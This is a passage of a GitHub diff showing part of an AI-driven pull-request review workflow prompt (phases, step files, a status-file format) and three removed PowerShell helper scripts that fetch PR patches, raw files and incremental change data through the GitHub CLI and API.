gh pr view {{pr_number}} --json number,title,baseRefName,headRefName,baseRefOid,headRefOid,changedFiles,files
gh api repos/:owner/:repo/pulls/{{pr_number}}/files?per_page=250
```
Save `headRefOid` - you will need it in Phase 6.
## Phase 2 - Determine review mode
Check if `Generated Files/prReview/{{pr_number}}/00-OVERVIEW.md` exists.
- **Not found** - This is iteration 1. Full review. Go to Phase 3.
- **Found** - Extract `Last reviewed SHA:` from it, then run:
```powershell
.github/skills/pr-review/scripts/Get-PrIncrementalChanges.ps1 `
-PullRequestNumber {{pr_number}} `
-LastReviewedCommitSha <extracted_sha>
```
- `NeedFullReview: true` - Full review of all files.
- `ChangedFiles` non-empty - Incremental review of only those files.
- `ChangedFiles` empty - No changes. Write "No changes" to overview, stop.
Increment the iteration number from the existing overview (or start at 1).
## Phase 3 - Decide which steps to run
Using the changed file list from Phase 1 (full) or Phase 2 (incremental), match against these rules. When in doubt, **include the step**.
| Changed files match | Steps to run | Steps safe to skip |
|---|---|---|
| `*.cs`, `*.cpp`, `*.h` | 01 02 03 05 09 10 12 | - |
| `*.resx`, `Resources/*.xaml` | 06 07 | 03 04 05 08 09 |
| `*.md` (docs only) | 11 | 03 04 05 06 07 08 09 12 |
| `*copilot*.md`, `.github/prompts/*` | 13 11 | most others |
| `*.csproj`, `*.vcxproj`, `packages.config` | 02 05 10 | 04 06 07 |
| `UI/**`, `*View.xaml` | 04 06 | - |
| Mixed / uncertain | **All steps** | none |
Steps 01, 02, 10, 11 always run unless the change is trivially irrelevant.
## Phase 4 - Execute review steps
For each step that applies, **in order 01 through 13**:
1. **Read** the step prompt file from this folder (e.g. `01-functionality.prompt.md`)
2. **Analyze** the PR changes against that prompt's checklist
3. **Fetch external references** listed in the prompt's `## External references (MUST research)` section. Include a `## References consulted` section citing specific IDs (WCAG 1.4.3, OWASP A03, CWE-79, etc.)
4. **Write** the output file to `Generated Files/prReview/{{pr_number}}/01-functionality.md`
5. **Update** `.signal`: append step name to `completedSteps`, set `lastStep`, refresh `lastUpdated`. For skipped steps, append to `skippedSteps` instead.
**Do not batch.** Write each file immediately after completing that step before starting the next.
### Step table
| Step | Prompt file | Output file |
|---|---|---|
| 01 | `01-functionality.prompt.md` | `01-functionality.md` |
| 02 | `02-compatibility.prompt.md` | `02-compatibility.md` |
| 03 | `03-performance.prompt.md` | `03-performance.md` |
| 04 | `04-accessibility.prompt.md` | `04-accessibility.md` |
| 05 | `05-security.prompt.md` | `05-security.md` |
| 06 | `06-localization.prompt.md` | `06-localization.md` |
| 07 | `07-globalization.prompt.md` | `07-globalization.md` |
| 08 | `08-extensibility.prompt.md` | `08-extensibility.md` |
| 09 | `09-solid-design.prompt.md` | `09-solid-design.md` |
| 10 | `10-repo-patterns.prompt.md` | `10-repo-patterns.md` |
| 11 | `11-docs-automation.prompt.md` | `11-docs-automation.md` |
| 12 | `12-code-comments.prompt.md` | `12-code-comments.md` |
| 13 | `13-copilot-guidance.prompt.md` | `13-copilot-guidance.md` |
### Line mapping for review comments
Map head-side lines from patch hunks: `@@ -a,b +c,d @@` means new lines `c` through `c+d-1`. For cross-file issues, set the primary `"file"` and list others in `"related_files"`.
## Phase 5 - Write overview
After all step files are written, generate `Generated Files/prReview/{{pr_number}}/00-OVERVIEW.md`:
```md
# PR Review Overview - PR #{{pr_number}}: <title>
**Review iteration:** <N>
**Changed files:** <count> | **High severity issues:** <count>
## Review metadata
**Last reviewed SHA:** <headRefOid>
**Last review timestamp:** <ISO8601>
**Review mode:** <Full | Incremental (N files changed since iteration X)>
**Base ref:** <baseRefName>
**Head ref:** <headRefName>
## Step results
01 Functionality - <OK | Issues | Skipped> (see 01-functionality.md)
02 Compatibility - ...
... through 13.
## Iteration history
### Iteration <N>
<summary of this review pass>
```
For incremental reviews, list the specific files that changed and which commits were added.
## Phase 6 - Finalize
1. Update `.signal`: set `status` to `"success"` (or `"failure"`), `lastStep` to `"00-OVERVIEW"`, add `timestamp`.
2. Update `Last reviewed SHA:` in `00-OVERVIEW.md` with `headRefOid` from Phase 1.
## Phase 7 - Post comments (if MCP available)
Parse all `mcp-review-comment` fenced blocks across step files and post as PR review comments. If posting is not available, skip. The files are the primary output.
---
## Helper scripts
Located in `.github/skills/pr-review/scripts/`. Use these instead of raw `gh` commands when they fit:
| Script | When to use |
|---|---|
| `Get-GitHubRawFile.ps1` | Need to read a file at a specific ref with line numbers |
| `Get-GitHubPrFilePatch.ps1` | Need the unified diff for one file in the PR |
| `Get-PrIncrementalChanges.ps1` | Phase 2: determine if incremental review is needed |
## .signal file format
The outer script creates the initial `.signal` and writes the final one. Your job is to **update it after each step** in Phase 4:
```json
{
"status": "in-progress",
"prNumber": 45234,
"totalSteps": 13,
"completedSteps": ["01-functionality", "02-compatibility"],
"skippedSteps": ["13-copilot-guidance"],
"lastStep": "02-compatibility",
"lastUpdated": "2026-02-04T10:03:12Z",
"startedAt": "2026-02-04T10:00:05Z"
}
```

View File

@@ -1,79 +0,0 @@
<#
.SYNOPSIS
Retrieves the unified diff patch for a specific file in a GitHub pull request.
.DESCRIPTION
This script fetches the patch content (unified diff format) for a specified file
within a pull request. It uses the GitHub CLI (gh) to query the GitHub API and
retrieve file change information.
.PARAMETER PullRequestNumber
The pull request number to query.
.PARAMETER FilePath
The relative path to the file in the repository (e.g., "src/modules/main.cpp").
.PARAMETER RepositoryOwner
The GitHub repository owner. Defaults to "microsoft".
.PARAMETER RepositoryName
The GitHub repository name. Defaults to "PowerToys".
.EXAMPLE
.\Get-GitHubPrFilePatch.ps1 -PullRequestNumber 42374 -FilePath "src/modules/cmdpal/main.cpp"
Retrieves the patch for main.cpp in PR #42374.
.EXAMPLE
.\Get-GitHubPrFilePatch.ps1 -PullRequestNumber 42374 -FilePath "README.md" -RepositoryOwner "myorg" -RepositoryName "myrepo"
Retrieves the patch from a different repository.
.NOTES
Requires GitHub CLI (gh) to be installed and authenticated.
Run 'gh auth login' if not already authenticated.
.LINK
https://cli.github.com/
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $true, HelpMessage = "Pull request number")]
[int]$PullRequestNumber,
[Parameter(Mandatory = $true, HelpMessage = "Relative path to the file in the repository")]
[string]$FilePath,
[Parameter(Mandatory = $false, HelpMessage = "Repository owner")]
[string]$RepositoryOwner = "microsoft",
[Parameter(Mandatory = $false, HelpMessage = "Repository name")]
[string]$RepositoryName = "PowerToys"
)
# Construct GitHub API path for pull request files
$apiPath = "repos/$RepositoryOwner/$RepositoryName/pulls/$PullRequestNumber/files?per_page=250"
# Query GitHub API to get all files in the pull request
try {
$pullRequestFiles = gh api $apiPath | ConvertFrom-Json
} catch {
Write-Error "Failed to query GitHub API for PR #$PullRequestNumber. Ensure gh CLI is authenticated. Details: $_"
exit 1
}
# Find the matching file in the pull request
$matchedFile = $pullRequestFiles | Where-Object { $_.filename -eq $FilePath }
if (-not $matchedFile) {
Write-Error "File '$FilePath' not found in PR #$PullRequestNumber."
exit 1
}
# Check if patch content exists
if (-not $matchedFile.patch) {
Write-Warning "File '$FilePath' has no patch content (possibly binary or too large)."
return
}
# Output the patch content
$matchedFile.patch

View File

@@ -1,91 +0,0 @@
<#
.SYNOPSIS
Downloads and displays the content of a file from a GitHub repository at a specific git reference.
.DESCRIPTION
This script fetches the raw content of a file from a GitHub repository using GitHub's raw content API.
It can optionally display line numbers and supports any valid git reference (branch, tag, or commit SHA).
.PARAMETER FilePath
The relative path to the file in the repository (e.g., "src/modules/main.cpp").
.PARAMETER GitReference
The git reference (branch name, tag, or commit SHA) to fetch the file from. Defaults to "main".
.PARAMETER RepositoryOwner
The GitHub repository owner. Defaults to "microsoft".
.PARAMETER RepositoryName
The GitHub repository name. Defaults to "PowerToys".
.PARAMETER ShowLineNumbers
When specified, displays line numbers before each line of content.
.PARAMETER StartLineNumber
The starting line number to use when ShowLineNumbers is enabled. Defaults to 1.
.EXAMPLE
.\Get-GitHubRawFile.ps1 -FilePath "README.md" -GitReference "main"
Downloads and displays the README.md file from the main branch.
.EXAMPLE
.\Get-GitHubRawFile.ps1 -FilePath "src/runner/main.cpp" -GitReference "dev/feature-branch" -ShowLineNumbers
Downloads main.cpp from a feature branch and displays it with line numbers.
.EXAMPLE
.\Get-GitHubRawFile.ps1 -FilePath "LICENSE" -GitReference "abc123def" -ShowLineNumbers -StartLineNumber 10
Downloads the LICENSE file from a specific commit and displays it with line numbers starting at 10.
.NOTES
Requires internet connectivity to access GitHub's raw content API.
Does not require GitHub CLI authentication for public repositories.
.LINK
https://docs.github.com/en/rest/repos/contents
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $true, HelpMessage = "Relative path to the file in the repository")]
[string]$FilePath,
[Parameter(Mandatory = $false, HelpMessage = "Git reference (branch, tag, or commit SHA)")]
[string]$GitReference = "main",
[Parameter(Mandatory = $false, HelpMessage = "Repository owner")]
[string]$RepositoryOwner = "microsoft",
[Parameter(Mandatory = $false, HelpMessage = "Repository name")]
[string]$RepositoryName = "PowerToys",
[Parameter(Mandatory = $false, HelpMessage = "Display line numbers before each line")]
[switch]$ShowLineNumbers,
[Parameter(Mandatory = $false, HelpMessage = "Starting line number for display")]
[int]$StartLineNumber = 1
)
# Construct the raw content URL
$rawContentUrl = "https://raw.githubusercontent.com/$RepositoryOwner/$RepositoryName/$GitReference/$FilePath"
# Fetch the file content from GitHub
try {
$response = Invoke-WebRequest -UseBasicParsing -Uri $rawContentUrl
} catch {
Write-Error "Failed to fetch file from $rawContentUrl. Details: $_"
exit 1
}
# Split content into individual lines
$contentLines = $response.Content -split "`n"
# Display the content with or without line numbers
if ($ShowLineNumbers) {
$currentLineNumber = $StartLineNumber
foreach ($line in $contentLines) {
Write-Output ("{0:d4}: {1}" -f $currentLineNumber, $line)
$currentLineNumber++
}
} else {
$contentLines | ForEach-Object { Write-Output $_ }
}

View File

@@ -1,173 +0,0 @@
<#
.SYNOPSIS
Detects changes between the last reviewed commit and current head of a pull request.
.DESCRIPTION
This script compares a previously reviewed commit SHA with the current head of a pull request
to determine what has changed. It helps enable incremental reviews by identifying new commits
and modified files since the last review iteration.
The script handles several scenarios:
- First review (no previous SHA provided)
- No changes (current SHA matches last reviewed SHA)
- Force-push detected (last reviewed SHA no longer in history)
- Incremental changes (new commits added since last review)
.PARAMETER PullRequestNumber
The pull request number to analyze.
.PARAMETER LastReviewedCommitSha
The commit SHA that was last reviewed. If omitted, this is treated as a first review.
.PARAMETER RepositoryOwner
The GitHub repository owner. Defaults to "microsoft".
.PARAMETER RepositoryName
The GitHub repository name. Defaults to "PowerToys".
.OUTPUTS
JSON object containing:
- PullRequestNumber: The PR number being analyzed
- CurrentHeadSha: The current head commit SHA
- LastReviewedSha: The last reviewed commit SHA (if provided)
- BaseRefName: Base branch name
- HeadRefName: Head branch name
- IsIncremental: Boolean indicating if incremental review is possible
- NeedFullReview: Boolean indicating if a full review is required
- ChangedFiles: Array of files that changed (filename, status, additions, deletions)
- NewCommits: Array of commits added since last review (sha, message, author, date)
- Summary: Human-readable description of changes
.EXAMPLE
.\Get-PrIncrementalChanges.ps1 -PullRequestNumber 42374
Analyzes PR #42374 with no previous review (first review scenario).
.EXAMPLE
.\Get-PrIncrementalChanges.ps1 -PullRequestNumber 42374 -LastReviewedCommitSha "abc123def456"
Compares current PR state against the last reviewed commit to identify incremental changes.
.EXAMPLE
$changes = .\Get-PrIncrementalChanges.ps1 -PullRequestNumber 42374 -LastReviewedCommitSha "abc123" | ConvertFrom-Json
if ($changes.IsIncremental) { Write-Host "Can perform incremental review" }
Captures the output as a PowerShell object for further processing.
.NOTES
Requires GitHub CLI (gh) to be installed and authenticated.
Run 'gh auth login' if not already authenticated.
.LINK
https://cli.github.com/
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $true, HelpMessage = "Pull request number")]
[int]$PullRequestNumber,
[Parameter(Mandatory = $false, HelpMessage = "Commit SHA that was last reviewed")]
[string]$LastReviewedCommitSha,
[Parameter(Mandatory = $false, HelpMessage = "Repository owner")]
[string]$RepositoryOwner = "microsoft",
[Parameter(Mandatory = $false, HelpMessage = "Repository name")]
[string]$RepositoryName = "PowerToys"
)
# Fetch current pull request state from GitHub
try {
$pullRequestData = gh pr view $PullRequestNumber --json headRefOid,headRefName,baseRefName,baseRefOid | ConvertFrom-Json
} catch {
Write-Error "Failed to fetch PR #$PullRequestNumber details. Details: $_"
exit 1
}
$currentHeadSha = $pullRequestData.headRefOid
$baseRefName = $pullRequestData.baseRefName
$headRefName = $pullRequestData.headRefName
# Initialize result object
$analysisResult = @{
PullRequestNumber = $PullRequestNumber
CurrentHeadSha = $currentHeadSha
BaseRefName = $baseRefName
HeadRefName = $headRefName
LastReviewedSha = $LastReviewedCommitSha
IsIncremental = $false
NeedFullReview = $true
ChangedFiles = @()
NewCommits = @()
Summary = ""
}
# Scenario 1: First review (no previous SHA provided)
if ([string]::IsNullOrWhiteSpace($LastReviewedCommitSha)) {
$analysisResult.Summary = "Initial review - no previous iteration found"
$analysisResult.NeedFullReview = $true
return $analysisResult | ConvertTo-Json -Depth 10
}
# Scenario 2: No changes since last review
if ($currentHeadSha -eq $LastReviewedCommitSha) {
$analysisResult.Summary = "No changes since last review (SHA: $currentHeadSha)"
$analysisResult.NeedFullReview = $false
$analysisResult.IsIncremental = $true
return $analysisResult | ConvertTo-Json -Depth 10
}
# Scenario 3: Check for force-push (last reviewed SHA no longer exists in history)
try {
$null = gh api "repos/$RepositoryOwner/$RepositoryName/commits/$LastReviewedCommitSha" 2>&1
if ($LASTEXITCODE -ne 0) {
# SHA not found - likely force-push or branch rewrite
$analysisResult.Summary = "Force-push detected - last reviewed SHA $LastReviewedCommitSha no longer exists. Full review required."
$analysisResult.NeedFullReview = $true
return $analysisResult | ConvertTo-Json -Depth 10
}
} catch {
$analysisResult.Summary = "Cannot verify last reviewed SHA $LastReviewedCommitSha - assuming force-push. Full review required."
$analysisResult.NeedFullReview = $true
return $analysisResult | ConvertTo-Json -Depth 10
}
# Scenario 4: Get incremental changes between last reviewed SHA and current head
try {
$compareApiPath = "repos/$RepositoryOwner/$RepositoryName/compare/$LastReviewedCommitSha...$currentHeadSha"
$comparisonData = gh api $compareApiPath | ConvertFrom-Json
# Extract new commits information
$analysisResult.NewCommits = $comparisonData.commits | ForEach-Object {
@{
Sha = $_.sha.Substring(0, 7)
Message = $_.commit.message.Split("`n")[0] # First line only
Author = $_.commit.author.name
Date = $_.commit.author.date
}
}
# Extract changed files information
$analysisResult.ChangedFiles = $comparisonData.files | ForEach-Object {
@{
Filename = $_.filename
Status = $_.status # added, modified, removed, renamed
Additions = $_.additions
Deletions = $_.deletions
Changes = $_.changes
}
}
$fileCount = $analysisResult.ChangedFiles.Count
$commitCount = $analysisResult.NewCommits.Count
$analysisResult.IsIncremental = $true
$analysisResult.NeedFullReview = $false
$analysisResult.Summary = "Incremental review: $commitCount new commit(s), $fileCount file(s) changed since SHA $($LastReviewedCommitSha.Substring(0, 7))"
} catch {
Write-Error "Failed to compare commits. Details: $_"
$analysisResult.Summary = "Error comparing commits - defaulting to full review"
$analysisResult.NeedFullReview = $true
}
# Return the analysis result as JSON
return $analysisResult | ConvertTo-Json -Depth 10

Some files were not shown because too many files have changed in this diff Show More